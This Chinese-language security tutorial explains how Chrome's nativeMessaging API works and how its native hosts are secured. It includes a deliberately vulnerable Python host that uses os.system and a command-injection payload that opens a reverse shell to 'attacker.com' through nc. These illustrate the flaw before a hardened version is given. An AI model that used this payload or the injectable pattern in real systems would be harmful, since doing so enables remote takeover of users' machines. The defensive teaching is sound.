摘要：Chrome扩展被严格限制在浏览器的“沙箱”之中，但nativeMessaging API为它们提供了一条与本地原生应用（Native Application）直接对话的“秘密通道”，从而极大地扩展了其能力。然而，这座连接“Web”与“原生”的桥梁，如果建造不当，也可能成为攻击者逃逸沙箱、执行任意代码的完美后门。本文将深入剖析nativeMessaging的工作原理，通过一个具体的“危险设计”代码案例，揭示其如何可能被滥用，并最终为插件的使用者和开发者，提供一套从审查、配置到安全编码的纵深防御“铠甲”。
关键词： Chrome扩展安全, Native Messaging, 浏览器安全, 沙箱逃逸, RCE, 安全编码, 纵深防御
引言：当“网页”需要与“电脑”对话
Chrome扩展，本质上是一堆运行在浏览器这个受限环境中的JavaScript、HTML和CSS。出于安全考虑，浏览器为它建造了一个坚固的“沙箱”，严格限制它访问你电脑的本地文件系统或执行系统命令。
但某些场景下，扩展确实需要与本地软件交互，例如：
一个密码管理器扩展，需要与它的本地桌面客户端同步数据。
一个视频下载器扩展，需要调用一个本地的下载程序。
**nativeMessaging正是为此而生的官方API。它允许一个扩展，通过一个标准化的、受浏览器中介的通道，与一个在用户电脑上预先安装好的、被称为“原生消息主机（Native Messaging Host）”**的本地程序进行通信。
第一章：“桥梁”的构造——Native Messaging工作原理
扩展 (Extension): 运行在浏览器沙箱中的JavaScript。
浏览器 (Chrome): 扮演着**“中介”和“守卫”**的角色。
原生消息主机 (Native Host): 一个在你电脑上运行的、独立的可执行文件（如
.exe,.py,.sh）。
通信流程：
扩展通过
chrome.runtime.connectNative()发起连接请求。浏览器检查扩展的
manifest.json和原生主机的manifest.json文件，确认两者是否被授权互相通信。如果授权通过，浏览器会启动原生主机进程。
浏览器建立一个标准输入/输出（stdin/stdout）管道，作为扩展与原生主机之间的通信桥梁。扩展发送的消息被写入主机的
stdin，主机返回的消息从其stdout读取。
第二章：风险案例剖析——当“桥梁”通向“悬崖”
此风险的根源，不在于nativeMessaging协议本身，而在于原生消息主机（Native Host）这个本地程序，是否安全地处理了来自扩展的数据。
场景： 一个“视频转换器”Chrome扩展。用户在网页上输入一个视频文件的URL，扩展通过
nativeMessaging，将这个URL发送给一个本地的Python脚本（原生主机），由该脚本调用ffmpeg工具进行转换。脆弱的原生主机代码 (
Pythonconverter_host.py):#!/usr/bin/env python3 # VULNERABLE NATIVE HOST (Conceptual Example) import sys import json import os # 读取来自Chrome扩展的标准输入消息 raw_message = sys.stdin.read() message = json.loads(raw_message) file_url = message.get('url') # 致命缺陷：直接将来自扩展的、用户可控的输入，拼接到一个Shell命令字符串中 command = f"ffmpeg -i {file_url} -y /tmp/output.mp4" # 执行命令 os.system(command) # ... (向扩展返回成功消息) ...攻击者如何利用？ 攻击者并不需要攻破这个扩展，他只需要安装它。然后，他可以在任意网页的开发者工具控制台中，手动调用这个已安装扩展的API，发送一个恶意的消息。
恶意的JavaScript Payload (在浏览器控制台执行):
JavaScriptconst EXTENSION_ID = "abcdefg..."; // 恶意用户可以轻易找到扩展ID const NATIVE_HOST_NAME = "com.my_company.video_converter"; const port = chrome.runtime.connectNative(NATIVE_HOST_NAME); // 构造一个恶意的消息，URL字段包含命令注入 const maliciousMessage = {url: "https://example.com/dummy.mp4; /bin/bash -c '/bin/nc attacker.com 4444 -e /bin/bash'" }; port.postMessage(maliciousMessage);
后果：
converter_host.py接收到这个JSON，file_url被赋值为恶意字符串。最终，被
os.system()执行的命令变成了：ffmpeg -i https://example.com/dummy.mp4; /bin/bash -c ... -y /tmp/output.mp4由于分号
;的存在，一个反向Shell被执行。攻击者成功地利用了受信任的本地程序，逃逸了浏览器沙箱，获得了与当前用户同等的系统权限。
第三章：纵深防御——为“桥梁”构建“安全护栏”
3.1 对于用户——“守桥人”的职责
审慎安装：
检查权限： 在安装扩展时，仔细查看它请求的权限。如果一个简单的“记事本”扩展，请求了
nativeMessaging权限，这本身就是一个强烈的危险信号。审查信誉： 优先安装来自知名厂商的、拥有大量用户和好评的扩展。
保持警惕： 留意你的电脑上是否安装了来路不明的、与扩展相关的“助手”程序。
3.2 对于开发者——“建桥工程师”的安全规范
原生消息主机的安全性，是整个链条中最关键的一环！
配置清单加固 (
host_manifest.json) —— 第一道防线：使用
JSONallowed_origins白名单：这是最重要、最基础的配置。 在你的原生主机清单文件中，明确指定只允许你自己的扩展ID与之通信。{"name": "com.my_company.video_converter","description": "Video Converter Host","path": "/path/to/converter_host.py","type": "stdio","allowed_origins": ["chrome-extension://KJGBBDEPBJPBJBDEBDBJPBJDBJDBJDBJ/" // 替换为你自己扩展的真实ID] }效果： 这样配置后，即使其他恶意扩展被安装，浏览器也会阻止它们与你的原生主机建立连接。
安全编码实践（根本之策）：
绝不信任来自扩展的数据： 必须将其视为与来自公网的GET/POST请求同等危险的、不可信的输入。
避免调用Shell解释器：这是防御命令注入的“银弹”。
安全的原生主机代码 (
Pythonsecure_converter_host.py):#!/usr/bin/env python3 # SECURE NATIVE HOST import sys import json import subprocess raw_message = sys.stdin.read() message = json.loads(raw_message) file_url = message.get('url') # 防御1：严格的白名单输入验证 if not file_url or not file_url.startswith(('http://', 'https://')):sys.exit("Error: Invalid URL format.") # 防御2：使用参数化API，避免调用Shell # subprocess.run在shell=False时，将每个参数视为独立的、无害的字符串 command_args = ["ffmpeg","-i", file_url,"-y", "/tmp/output.mp4" ] try:subprocess.run(command_args, check=True) except subprocess.CalledProcessError as e:# ... (Handle error) ...
结论
nativeMessaging是Chrome扩展生态中一把强大的“双刃剑”。它打破了沙箱的界限，为实现复杂功能提供了可能，但也引入了直接关系到主机安全的、全新的攻击面。
这场攻防的焦点，不在于浏览器或扩展协议本身，而在于那个常常被开发者忽视的原生消息主机。其安全性，完全取决于开发者的安全编码意识和配置的严谨性。通过**强制白名单来源（allowed_origins）和在原生主机中坚持“数据与代码分离”**的编码铁律，我们就能确保这座连接Web与原生的“桥梁”，永远是一条安全的、受控的“官方通道”，而不是一条通往系统沦陷的“秘密捷径”。
